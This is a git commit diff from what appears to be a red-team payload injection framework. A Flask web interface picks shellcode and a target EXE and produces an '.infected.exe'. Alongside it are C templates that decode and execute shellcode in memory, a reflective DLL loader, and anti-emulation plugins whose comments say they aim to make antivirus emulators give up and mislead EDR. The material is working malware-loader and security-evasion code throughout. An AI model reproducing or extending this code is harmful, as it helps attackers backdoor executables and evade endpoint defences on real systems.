This commit is contained in:
Dobin
2024-06-27 09:17:23 +01:00
47 changed files with 1602 additions and 792 deletions
+237 -91
View File
@@ -7,24 +7,19 @@
{% include 'navigation.html' %}
<div class="indent">
<h2> {{project_name}} </h2>
<div class="row">
<!-- Row 1: Buttons -->
<div class="col-1">
<div class="row">
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec?no_exec=true">
<button class="btn btn-primary" type="submit" value="start">Open Dir</button>
</form>
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/build">
<button class="btn btn-primary" type="submit" value="start">Build</button>
</form>
</div>
<div class="col-1">
<!-- Row 1: Buttons -->
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec?no_exec=true">
<button class="btn btn-primary" type="submit" value="start">Open Dir</button>
</form>
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/build">
<button class="btn btn-primary" type="submit" value="start">Build</button>
</form>
{% if is_built %}
<div class="row">
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec">
<button class="btn btn-primary" type="submit" value="start">Start</button>
</form>
@@ -37,40 +32,62 @@
<button class="btn btn-primary" type="submit" value="start">File Remote</button>
</form>
{% endif %}
</div>
{% endif %}
</div>
<!-- Row 2: Input files -->
<div class="col-2">
<div class="col-3">
<!-- leave this here or it will fuck up layout -->
<form method="POST" enctype="multipart/form-data" action="/project_add">
<input type="hidden" name="project_name" value="{{project_name}}">
<input type="text" name="comment" class="hidden form-control"
placeholder="Comment" value="{{project.comment}}"
aria-label="PROJECTNAME" aria-describedby="basic-addon1"
onchange="this.form.submit()">
<select class="form-select" name="shellcode" aria-label="SHELLCODE" onchange="this.form.submit()">
{% for shellcode in shellcodes %}
<option value="{{shellcode['filename']}}"
{% if shellcode["filename"] in project.settings.payload_path %} selected {% endif %}
>
{{shellcode['filename']}} ({{shellcode['size']}})
</option>
{% endfor %}
</select>
<select class="form-select" name="exe" aria-label="EXE" onchange="this.form.submit()">
{% for exe in exes %}
<option value="{{exe['filename']}}"
{% if exe['filename'] == project.settings.inject_exe_in %} selected {% endif %}
>
{{exe['filename'] | basename}} ({{exe['size']}})</option>
{% endfor %}
</select>
<input type="text" name="project_name" class="hidden form-control"
placeholder="" value="{{project_name}}"
aria-label="PROJECTNAME" aria-describedby="basic-addon1"
onchange="this.form.submit()" readonly>
<input type="text" name="comment" class="hidden form-control"
placeholder="" value="{{project.comment}}"
aria-label="PROJECTNAME" aria-describedby="basic-addon1"
onchange="this.form.submit()">
<!-- Input: Payload File -->
<div class="form-group row">
<label for="shellcode" class="col-sm-3 col-form-label">
Payload
</label>
<div class="col-sm-9">
<select class="form-select" id="shellcode" name="shellcode"
aria-label="SHELLCODE" onchange="this.form.submit()">
{% for shellcode in shellcodes %}
<option value="{{shellcode['filename']}}"
{% if shellcode["filename"] in project.settings.payload_path %} selected {% endif %}
>
{{shellcode['filename']}} ({{shellcode['size']}})
</option>
{% endfor %}
</select>
</div>
</div>
<!-- Input: EXE File -->
<div class="form-group row">
<label for="exe" class="col-sm-3 col-form-label">
Injectable
</label>
<div class="col-sm-9">
<select class="form-select" id="exe" name="exe"
aria-label="EXE" onchange="this.form.submit()">
{% for exe in exes %}
<option value="{{exe['filename']}}"
{% if exe['filename'] == project.settings.inject_exe_in %} selected {% endif %}
>
{{exe['filename'] | basename}} ({{exe['size']}})</option>
{% endfor %}
</select>
</div>
</div>
<!-- Input: DLL function -->
{% if exports != [] %}
<select class="form-select" name="dllfunc" aria-label="DLLFUNC" onchange="this.form.submit()">
{% for export in exports %}
@@ -81,23 +98,39 @@
{% endfor %}
</select>
{% endif %}
<a href="/exes/{{project.settings.inject_exe_in | basename}}">EXE INFO</a>
</div>
<!-- Row 3: exe and shellcode info -->
<div class="col-2">
{% if is_64 %}
x64: {{ is_64 }}
{% else %}
<span class="text-danger">x64: {{ is_64 }}</span>
{% endif %}
/ Dotnet: {{ is_dotnet}} <br>
.text: {{ code_sect_size}} <br>
.rdata: {{ data_sect_size}}
(max: {{ data_sect_largest_gap_size}}) <br>
{% if not has_rodata_section %}
<span class="text-danger">No .rdata section</span> <br>
{% endif %}
<a href="/exes/{{project.settings.inject_exe_in | basename}}">EXE Info:</a>
<ul>
<li>
{% if is_64 %}
x64: {{ is_64 }}
{% else %}
<span class="text-danger">x64: {{ is_64 }}</span>
{% endif %}
</li>
<li>
Dotnet: {{ is_dotnet}}
</li>
<li>
.text: {{ code_sect_size}}
</li>
<li>
.rdata: {{ data_sect_size}}
(max: {{ data_sect_largest_gap_size}})
</li>
{% if not has_rodata_section %}
<li>
<span class="text-danger">No .rdata section</span> <br>
</li>
{% endif %}
</ul>
{% if unresolved_dlls|length > 0 %}
<br>
@@ -108,37 +141,59 @@
{% endfor %}
</ul>
{% endif %}
</div>
<!-- Row 4: leet settings -->
<div class="col-2">
<select class="form-select" name="carrier_name" aria-label="CARRIERNAME" onchange="this.form.submit()">
{% for name in carrier_names %}
<option value="{{name}}"
{% if name in project.settings.carrier_name %} selected {% endif %}
>{{name}}</option>
{% endfor %}
</select>
<div class="col-3">
<div class="form-group row">
<label for="carrier_name" class="col-sm-5 col-form-label">
Carrier
</label>
<div class="col-sm-7">
<select class="form-select" name="carrier_name" id="carrier_name
aria-label="CARRIERNAME" onchange="this.form.submit()">
{% for name in carrier_names %}
<option value="{{name}}"
{% if name in project.settings.carrier_name %} selected {% endif %}
>{{name}}</option>
{% endfor %}
</select>
</div>
</div>
<select class="form-select" name="carrier_invoke_style" aria-label="INJECTSTYLE" onchange="this.form.submit()">
{% for name, value in carrier_invoke_styles %}
<option value="{{name}}"
{% if value in project.settings.carrier_invoke_style.value %} selected {% endif %}
>{{value}}</option>
{% endfor %}
</select>
<div class="form-group row">
<label for="carrier_invoke_style" class="col-sm-5 col-form-label">
Carrier&nbsp;Invoke
</label>
<div class="col-sm-7">
<select class="form-select" name="carrier_invoke_style" id="carrier_invoke_style"
aria-label="INJECTSTYLE" onchange="this.form.submit()">
{% for name, value in carrier_invoke_styles %}
<option value="{{name}}"
{% if value in project.settings.carrier_invoke_style.value %} selected {% endif %}
>{{value}}</option>
{% endfor %}
</select>
</div>
</div>
<select class="form-select" name="decoder_style" aria-label="DECODERESTYLE" onchange="this.form.submit()">
{% for name, value in decoderstyles %}
<option value="{{name}}"
{% if value in project.settings.decoder_style.value %} selected {% endif %}
>{{value}}</option>
{% endfor %}
</select>
</div>
<div class="form-group row">
<label for="carrier_invoke_style" class="col-sm-5 col-form-label">
Payload&nbsp;Location
</label>
<div class="col-sm-7">
<select class="form-select" name="payload_location" id="payload_location"
aria-label="PAYLOADLOCATION" onchange="this.form.submit()">
{% for name, value in payload_locations %}
<option value="{{name}}"
{% if value in project.settings.payload_location.value %} selected {% endif %}
>{{value}}</option>
{% endfor %}
</select>
</div>
</div>
<!-- Row 5 -->
<div class="col-2">
<div class="form-check">
<input class="form-check-input" type="checkbox" value="YES" id="flexCheckDefault"
name="fix_missing_iat" onchange="this.form.submit()" {{ 'checked' if fix_missing_iat }}>
@@ -146,24 +201,115 @@
Add missing IAT entries
</label>
</div>
</div>
<select class="form-select" name="payload_location" aria-label="PAYLOADLOCATION" onchange="this.form.submit()">
{% for name, value in payload_locations %}
<option value="{{name}}"
{% if value in project.settings.payload_location.value %} selected {% endif %}
>{{value}}</option>
{% endfor %}
</select>
<!-- Row 5 -->
<div class="col-2">
<div class="form-group row">
<label for="decoder_style" class="col-sm-5 col-form-label">
Encoder
</label>
<div class="col-sm-7">
<select class="form-select" name="decoder_style" id="decoder_style"
aria-label="DECODERESTYLE" onchange="this.form.submit()">
{% for name in decoder_styles %}
<option value="{{name}}"
{% if name in project.settings.decoder_style %} selected {% endif %}
>{{name}}
</option>
{% endfor %}
</select>
</div>
</div>
<div class="form-group row">
<label for="guardrail" class="col-sm-5 col-form-label">
Guardrails
</label>
<div class="col-sm-7">
<select class="form-select" name="guardrail" id="guardrail"
aria-label="GUARDRAILSTYLE" onchange="this.form.submit()">
{% for name in guardrailstyles %}
<option value="{{name}}"
{% if name in project.settings.plugin_guardrail %} selected {% endif %}
>{{name}}
</option>
{% endfor %}
</select>
</div>
</div>
{% if project.settings.plugin_guardrail != "none" %}
<div class="form-group row">
<label for="guardrail" class="col-sm-5 col-form-label">
Guard Data
</label>
<div class="col-sm-7">
<input type="text" name="guardrail_data" class="hidden form-control"
placeholder="" value="{{project.settings.plugin_guardrail_data}}"
aria-label="guardrail_data" aria-describedby="basic-addon1"
onchange="this.form.submit()">
</div>
</div>
{% endif %}
<div class="form-group row">
<label for="antiemulation_style" class="col-sm-5 col-form-label">
AntiEmulation
</label>
<div class="col-sm-7">
<select class="form-select" name="antiemulation" id="antiemulation"
aria-label="antiemulation" onchange="this.form.submit()">
{% for name in antiemulationstyles %}
<option value="{{name}}"
{% if name in project.settings.plugin_antiemulation %} selected {% endif %}
>{{name}}
</option>
{% endfor %}
</select>
</div>
</div>
<div class="form-group row">
<label for="decoy_style" class="col-sm-5 col-form-label">
Decoy
</label>
<div class="col-sm-7">
<select class="form-select" name="decoy" id="decoy"
aria-label="decoy" onchange="this.form.submit()">
{% for name in decoystyles %}
<option value="{{name}}"
{% if name in project.settings.plugin_decoy %} selected {% endif %}
>{{name}}
</option>
{% endfor %}
</select>
</div>
</div>
<div class="form-group row">
<label for="virtualprotect_style" class="col-sm-5 col-form-label">
VirtualProtect
</label>
<div class="col-sm-7">
<select class="form-select" name="virtualprotect" id="virtualprotect"
aria-label="virtualprotect" onchange="this.form.submit()">
{% for name in virtualprotectstyles %}
<option value="{{name}}"
{% if name in project.settings.plugin_virtualprotect %} selected {% endif %}
>{{name}}
</option>
{% endfor %}
</select>
</div>
</div>
</div>
</div>
</form>
<div class="row">
<div class="col">
{{ project_dir }} <br>
<div class="custom-line"></div>
</div>
<div class="custom-line"></div>
</div>
+48 -23
View File
@@ -88,7 +88,7 @@ def project(name):
has_rodata_section = superpe.has_rodata_section()
if has_rodata_section:
superpe.get_rdata_relocmanager().find_largest_gap()
superpe.get_rdata_rangemanager().find_largest_gap()
unresolved_dlls = pe.dllresolver.unresolved_dlls(superpe)
project_dir = os.path.dirname(os.getcwd() + "\\" + project.settings.main_dir)
@@ -98,10 +98,16 @@ def project(name):
shellcodes = list_files_and_sizes(PATH_SHELLCODES)
carrier_names = get_template_names()
decoderstyles = [(color.name, color.value) for color in DecoderStyle]
carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle]
payload_locations = [(color.name, color.value) for color in PayloadLocation]
guardrail_styles = list_files(PATH_GUARDRAILS)
antiemulation_styles = list_files(PATH_ANTIEMULATION)
decoy_styles = list_files(PATH_DECOY)
virtualprotect_styles = list_files(PATH_VIRTUALPROTECT)
decoder_styles = list_files(PATH_DECODER)
return render_template('project.html',
project_name = name,
project=project,
@@ -111,7 +117,7 @@ def project(name):
exes=exes,
shellcodes=shellcodes,
carrier_names=carrier_names,
decoderstyles=decoderstyles,
decoder_styles=decoder_styles,
carrier_invoke_styles=carrier_invoke_styles,
payload_locations=payload_locations,
exports=exports,
@@ -128,6 +134,11 @@ def project(name):
has_remote=has_remote,
fix_missing_iat=project.settings.fix_missing_iat,
guardrailstyles = guardrail_styles,
antiemulationstyles = antiemulation_styles,
decoystyles = decoy_styles,
virtualprotectstyles = virtualprotect_styles
)
@@ -145,6 +156,16 @@ def list_files_and_sizes(directory, prepend=""):
return files_and_sizes
def list_files(directory, prepend="") -> List[str]:
files = []
for filename in os.listdir(directory):
filepath = os.path.join(directory, filename)
if os.path.isfile(filepath):
filename = filename.replace(".c", "")
files.append(filename)
return files
@views_project.route("/project_add", methods=['POST', 'GET'])
def add_project():
if request.method == 'POST':
@@ -155,6 +176,18 @@ def add_project():
# new project?
if storage.get_project(project_name) == None:
# Default values for web create
settings.init_payload_injectable(
"messagebox.bin",
"data/binary/exes/procexp64.exe",
""
)
settings.decoder_style = "xor_2"
settings.carrier_name = "alloc_rw_rx"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.payload_location = PayloadLocation.CODE
settings.fix_missing_iat = True
# add new project
project = WebProject(project_name, settings)
project.comment = comment
@@ -162,32 +195,24 @@ def add_project():
# update project
else:
settings.payload_path = PATH_SHELLCODES + request.form['shellcode']
if request.form['shellcode'] == "createfile.bin":
settings.verify = True
settings.try_start_final_infected_exe = False
else:
settings.cleanup_files_on_exit = False
if 'dllfunc' in request.form:
settings.dllfunc = request.form['dllfunc']
settings.inject_exe_in = request.form['exe']
settings.inject_exe_out = request.form['exe'].replace(".exe", ".infected.exe")
settings.init_payload_injectable(
request.form['shellcode'],
request.form['exe'],
request.form.get('dllfunc', "")
)
settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False
carrier_name = request.form['carrier_name']
settings.carrier_name = carrier_name
settings.carrier_name = request.form['carrier_name']
settings.plugin_antiemulation = request.form['antiemulation']
settings.plugin_decoy = request.form['decoy']
settings.plugin_guardrail = request.form['guardrail']
carrier_invoke_style = request.form['carrier_invoke_style']
settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style]
decoder_style = request.form['decoder_style']
settings.decoder_style = DecoderStyle[decoder_style]
settings.decoder_style = request.form['decoder_style']
payload_location = request.form['payload_location']
settings.payload_location = PayloadLocation[payload_location]
settings.plugin_guardrail_data = request.form.get('guardrail_data', '')
settings.plugin_virtualprotect = request.form.get('virtualprotect')
# overwrite project
project = storage.get_project(project_name)
Binary file not shown.
Binary file not shown.
+4
View File
@@ -0,0 +1,4 @@
void antiemulation() {
// None
}
+54
View File
@@ -0,0 +1,54 @@
#define ALLOC_NUM 256
/* This will allocate ALLOC_NUM RW memory regions,
set them to RX, and free them
The idea is that the AV emulator will probably give up, either because
of used memory is above maximum, or amount of instructions, or
number of API calls, or time.
It hopefully also makes the EDR think this program is doing some
kind of interpreter or JIT compilation, and not a malicious payload.
*/
void antiemulation() {
void* allocs[ALLOC_NUM];
DWORD result;
for(int i=0; i<4; i++) {
for(int n=0; n<ALLOC_NUM; n++) {
allocs[n] = VirtualAlloc(
NULL,
0x1000,
0x3000,
p_RW
);
}
for(int n=0; n<ALLOC_NUM; n++) {
if (VirtualProtect(
allocs[n],
1000,
p_RX,
&result) == 0)
{
return 7;
}
}
Sleep(200);
BOOL bSuccess;
for(int n=0; n<ALLOC_NUM; n++) {
bSuccess = VirtualFree(
allocs[n],
1000,
0x00008000); // MEM_RELEASE
}
}
}
+30
View File
@@ -0,0 +1,30 @@
/* Busy sleep with time register
This function will busy sleep for the given amount of time.
It uses the kernel time register, which is not affected by
the sleep function (memory address 0x7ffe0004).
This may defeat the AV emulator (maximum time).
*/
int get_time_raw() {
ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
return kernelTime;
}
int sleep_ms(DWORD sleeptime) {
DWORD start = get_time_raw();
while (get_time_raw() - start < sleeptime) {}
}
void antiemulation() {
sleep_ms(3000);
}
+21 -25
View File
@@ -8,29 +8,35 @@ char *supermega_payload;
#define p_RX 0x20
#define p_RWX 0x40
/* iat_reuse
Standard IAT reuse shellcode
/* VirtualAlloc -> rw -> rwx
* create new memory region for the payload
* will set it to RWX (safe to run shellcodes, opsec-unsafe)
* will set it to RWX (opsec-unsafe, allows in-memory decryption with sgn)
*/
{{plugin_antiemulation}}
{{plugin_decoy}}
{{plugin_executionguardrail}}
int main()
{
// Execution Guardrail: Env Check
wchar_t envVarName[] = L"USERPROFILE";
wchar_t tocheck[] = L"C:\\Users\\";
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
if (result == 0) {
return 6;
}
if (mystrcmp(buffer, tocheck) != 0) {
return 6;
DWORD result;
// Call: Execution Guardrail
if (executionguardrail() != 0) {
return 1;
}
// Decoy
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
// Call: Anti Emulation plugin
antiemulation();
// Call: Decoy plugin
decoy();
// Allocate 1
// char *dest = ...
@@ -54,13 +60,3 @@ int main()
return 0;
}
int mystrcmp(wchar_t* str1, wchar_t* str2) {
int i = 0;
while (str1[i] != L'\0' && str2[i] != L'\0') {
if (str1[i] != str2[i]) {
return 1;
}
i++;
}
return 0;
}
+21 -25
View File
@@ -8,29 +8,35 @@ char *supermega_payload;
#define p_RX 0x20
#define p_RWX 0x40
/* iat_reuse_rx
Standard IAT reuse shellcode
{{plugin_antiemulation}}
{{plugin_decoy}}
{{plugin_executionguardrail}}
{{plugin_virtualprotect}}
/* VirtualAlloc -> rw -> rx
* create new memory region for the payload
* will set it to RX (may break some shellcodes, opsec-safe)
*/
int main()
{
// Execution Guardrail: Env Check
wchar_t envVarName[] = L"USERPROFILE";
wchar_t tocheck[] = L"C:\\Users\\";
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
if (result == 0) {
return 6;
}
if (mystrcmp(buffer, tocheck) != 0) {
return 6;
DWORD result;
// Call: Execution Guardrail
if (executionguardrail() != 0) {
return 1;
}
// Decoy
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
// Call: Anti Emulation plugin
antiemulation();
// Call: Decoy plugin
decoy();
// Allocate 1
// char *dest = ...
@@ -44,7 +50,7 @@ int main()
// to: dest[]
{{ plugin_decoder }}
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
return 7;
}
@@ -54,13 +60,3 @@ int main()
return 0;
}
int mystrcmp(wchar_t* str1, wchar_t* str2) {
int i = 0;
while (str1[i] != L'\0' && str2[i] != L'\0') {
if (str1[i] != str2[i]) {
return 1;
}
i++;
}
return 0;
}
@@ -0,0 +1,56 @@
#include <Windows.h>
#include <time.h>
char *supermega_payload;
#define p_RW 0x04
#define p_RX 0x20
#define p_RWX 0x40
/* change payload memory regions permissions
will reuse IMAGE locations
depending on payload injection:
* .text -> rw -> rx
* .rdata -> rw -> rx
*/
{{plugin_antiemulation}}
{{plugin_decoy}}
{{plugin_executionguardrail}}
int main()
{
DWORD result;
char *dest = supermega_payload;
// Call: Execution Guardrail
if (executionguardrail() != 0) {
return 1;
}
// Call: Anti Emulation plugin
antiemulation();
// Call: Decoy plugin
decoy();
if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) {
return 16;
}
{{ plugin_decoder }}
if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
return 16;
}
// Execute *dest
(*(void(*)())(dest))();
return 0;
}
@@ -1,43 +0,0 @@
#include <Windows.h>
#include <time.h>
char *supermega_payload;
#define p_RW 0x04
#define p_RX 0x20
#define p_RWX 0x40
/* iat_reuse_rwx_rx
IAT reuse shellcode
* reuse payload location (both in .rdata and .text)
* does (rw/rx) -> rwx -> rx
*/
int main()
{
DWORD result;
char *dest = supermega_payload;
// Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
// can do only RW otherwise?
for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
return 16;
}
}
{{ plugin_decoder }}
for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
return 16;
}
}
// Execute *dest
(*(void(*)())(dest))();
return 0;
}
@@ -0,0 +1,186 @@
#include <Windows.h>
#include <time.h>
char *supermega_payload;
#define p_RW 0x04
#define p_RX 0x20
#define p_RWX 0x40
/* DLL loader
This code will load a DLL (not a shellcode!)
into new memory region,
resolve its imports, apply relocations, and execute it.
Loader is based on:
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
with some patches to make it work here
*/
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
void mymemcpy(void* dest, const void* src, size_t n) {
char* d = (char*)dest;
const char* s = (const char*)src;
for (size_t i = 0; i < n; ++i) {
d[i] = s[i];
}
}
DWORD_PTR load_dll(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
// get this module's image base address
PVOID imageBase = GetModuleHandleA(NULL);
// get pointers to in-memory DLL headers
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// get delta between this module's image base and the DLL that was read into memory
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
// copy over DLL image headers to the newly allocated space for the DLL
mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
// copy over DLL image sections to the newly allocated space for the DLL
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
section++;
}
// perform image base relocations
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
DWORD relocationsProcessed = 0;
while (relocationsProcessed < relocations.Size)
{
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
for (DWORD i = 0; i < relocationsCount; i++)
{
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
if (relocationEntries[i].Type == 0)
{
continue;
}
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
DWORD_PTR addressToPatch = 0;
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
addressToPatch += deltaImageBase;
mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
}
}
// resolve import address table
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName;
HMODULE library = NULL;
while (importDescriptor->Name != NULL)
{
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);
if (library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
while (thunk->u1.AddressOfData != NULL)
{
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}
importDescriptor++;
}
*ret_dllBase = (DWORD_PTR)dllBase;
*ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
return 0;
}
{{plugin_antiemulation}}
{{plugin_decoy}}
{{plugin_executionguardrail}}
{{plugin_virtualprotect}}
int main()
{
char* dest = NULL;
// Call: Execution Guardrail
if (executionguardrail() != 0) {
return 1;
}
// Call: Anti Emulation plugin
antiemulation();
// Call: Decoy plugin
decoy();
dest = MyVirtualProtect(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE);
// FROM supermega_payload[]
// TO dest[]
// Including decryption
{{ plugin_decoder }}
// Load the DLL at dest
DWORD_PTR dllBase;
DWORD aoep;
load_dll( (void *) dest, &dllBase, &aoep);
DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
return 0;
}
@@ -0,0 +1,221 @@
#include <Windows.h>
#include <time.h>
char *supermega_payload;
#define p_RW 0x04
#define p_RX 0x20
#define p_RWX 0x40
/* DLL loader
This code will load a DLL (not a shellcode!) into
existing memory region,
resolve its imports, apply relocations, and execute it.
Loader is based on:
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
with some patches to make it work here
*/
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
void mymemcpy(void* dest, const void* src, size_t n) {
char* d = (char*)dest;
const char* s = (const char*)src;
for (size_t i = 0; i < n; ++i) {
d[i] = s[i];
}
}
DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
// dllBase is expected to be page-aligned
if ((DWORD_PTR)dllBase & 0xFFF)
{
MessageBoxW(0, L"Not page aligned", L"Not page aligned", MB_OK);
}
// get pointers to in-memory DLL headers
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew);
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
/*
// VirtualProtect the sections correctly
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
DWORD protect;
if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
{
protect = PAGE_EXECUTE_READWRITE;
}
else if (section->Characteristics & IMAGE_SCN_MEM_WRITE)
{
protect = PAGE_READWRITE;
}
else
{
protect = PAGE_READONLY;
}
DWORD_PTR sectionDestination = section->VirtualAddress + (DWORD_PTR)dllBase;
DWORD_PTR sectionSize = section->SizeOfRawData;
DWORD oldProtect;
VirtualProtect((LPVOID)sectionDestination, sectionSize, protect, &oldProtect);
section++;
}
*/
// Overwrite PE header: First 0x1000 bytes
/*
// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// get delta between this module's image base and the DLL that was read into memory
// copy over DLL image headers to the newly allocated space for the DLL
mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
// copy over DLL image sections to the newly allocated space for the DLL
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
section++;
}
*/
// perform image base relocations
